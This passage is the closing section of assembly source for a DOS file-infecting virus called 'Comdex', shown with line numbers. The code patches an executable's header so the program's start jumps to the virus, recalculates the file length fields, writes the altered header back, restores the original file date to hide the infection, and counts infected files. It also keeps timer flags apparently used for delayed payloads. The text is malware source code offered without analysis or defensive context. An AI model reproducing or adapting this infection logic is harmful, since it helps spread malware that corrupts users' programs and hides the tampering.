  1416. ;
  1417.  
  1418. f0:     mov        ax,offset labl
  1419.  
  1420.         mov        ds:id[1ch],ax
  1421.  
  1422. ;
  1423.  
  1424. ;        modify starting cs = Comdex cs. it is computed as:
  1425.  
  1426. ;
  1427.  
  1428. ;        (original length of file+padding)/16 - start of load module
  1429.  
  1430. ;
  1431.  
  1432.         mov        dx,ds:[len_hi]
  1433.  
  1434.         mov        ax,ds:[len_lo]
  1435.  
  1436.         mov        cl,cs:[const1]               ; modified a bit
  1437.  
  1438.         shr        dx,cl
  1439.  
  1440.         rcr        ax,cl
  1441.  
  1442.     nop 
  1443.  
  1444.         shr        dx,cl
  1445.  
  1446.         rcr        ax,cl
  1447.  
  1448.         shr        dx,cl
  1449.  
  1450.         rcr        ax,cl
  1451.  
  1452.         nop
  1453.  
  1454.     shr        dx,cl
  1455.  
  1456.         rcr        ax,cl
  1457.  
  1458.         sub        ax,ds:id[10h]
  1459.  
  1460.         mov        ds:id[1eh],ax
  1461.  
  1462. ;
  1463.  
  1464. ;        modify length mod 512
  1465.  
  1466. ;
  1467.  
  1468.         add        ds:[len_lo],offset id+4
  1469.  
  1470.         jnc        l14
  1471.  
  1472.         inc        ds:[len_hi]
  1473.  
  1474. l14:    mov        ax,ds:[len_lo]
  1475.  
  1476.         and        ax,511
  1477.  
  1478.     nop
  1479.  
  1480.         mov        ds:id[0ah],ax
  1481.  
  1482. ;
  1483.  
  1484. ;        modify number of blocks used
  1485.  
  1486. ;
  1487.  
  1488.         mov        dx,ds:[len_hi]
  1489.  
  1490.         mov        ax,ds:[len_lo]
  1491.  
  1492.         add        ax,511
  1493.  
  1494.         jnc        l14a
  1495.  
  1496.         inc        dx
  1497.  
  1498. l14a:   mov        al,ah
  1499.  
  1500.         mov        ah,dl
  1501.  
  1502.         shr        ax,1
  1503.  
  1504.         mov        ds:id[0ch],ax
  1505.  
  1506. ;
  1507.  
  1508. ;        finally the modified header is written back to the start of the
  1509.  
  1510. ;        file.
  1511.  
  1512. ;
  1513.  
  1514. wrtback:mov     ax,4200h
  1515.  
  1516.         xor    cx,cx   
  1517.  
  1518.         xor    dx,dx  
  1519.  
  1520.         call    int21            ;dos move file pointer
  1521.  
  1522.         jc      endit
  1523.  
  1524.         mov     ah,40h
  1525.  
  1526.         mov     dx,offset id+8
  1527.  
  1528.         mov     cx,1ch
  1529.  
  1530.         call    int21            ;dos write to file
  1531.  
  1532. ;
  1533.  
  1534. ;       this part is new:       restore old date.
  1535.  
  1536. ;
  1537.  
  1538.         mov     dx,cs:[date1]
  1539.  
  1540.         mov     cx,cs:[date2]
  1541.  
  1542.         mov     ax,5701h
  1543.  
  1544.         call    int21            ;dos set file date and time
  1545.  
  1546.         jc      endit
  1547.  
  1548.         inc     word ptr cs:[noinf]
  1549.  
  1550. ;
  1551.  
  1552. ;        affection is finished - close the file and execute it
  1553.  
  1554. ;
  1555.  
  1556. endit:  jmp     l9
  1557.  
  1558. ;
  1559.  
  1560. ;
  1561.  
  1562.  
  1563.  
  1564. timer    dw    0    ; number of timer (int 8) ticks 
  1565.  
  1566. const1  db      1       ; the constant 1
  1567.  
  1568. const0  dw      0       ; the constant 0
  1569.  
  1570. internal dw    0    ; internal int 21 in effect.
  1571.  
  1572. min50    db    0    ; flag, set to 1 50 minutes after execution
  1573.  
  1574. min60   db      0       ; flag, set to 1 60 minutes after execution
  1575.  
  1576. vmode   db      0       ; video mode
  1577.  
  1578. date1   dw      ?       ; date of file
  1579.  
  1580. date2   dw      ?       ; ditto.
  1581.  
  1582. len_lo  dw      ?
  1583.  
  1584. len_hi  dw      ?
  1585.  
  1586. noinf   dw      0       ; number of affections
  1587.  
  1588. id      label word
  1589.  
  1590.         db      "COMD"  ; the signature of Comdex.
  1591.  
  1592. ;
  1593.  
  1594. ;        a buffer, used for data from the file.
  1595.  
  1596. ;
  1597.  
  1598.  
  1599.  
  1600. Comdex   endp
  1601.  
  1602. code        ends
  1603.  
  1604.  
  1605.  
  1606.         end labl
  1607.  
  1608.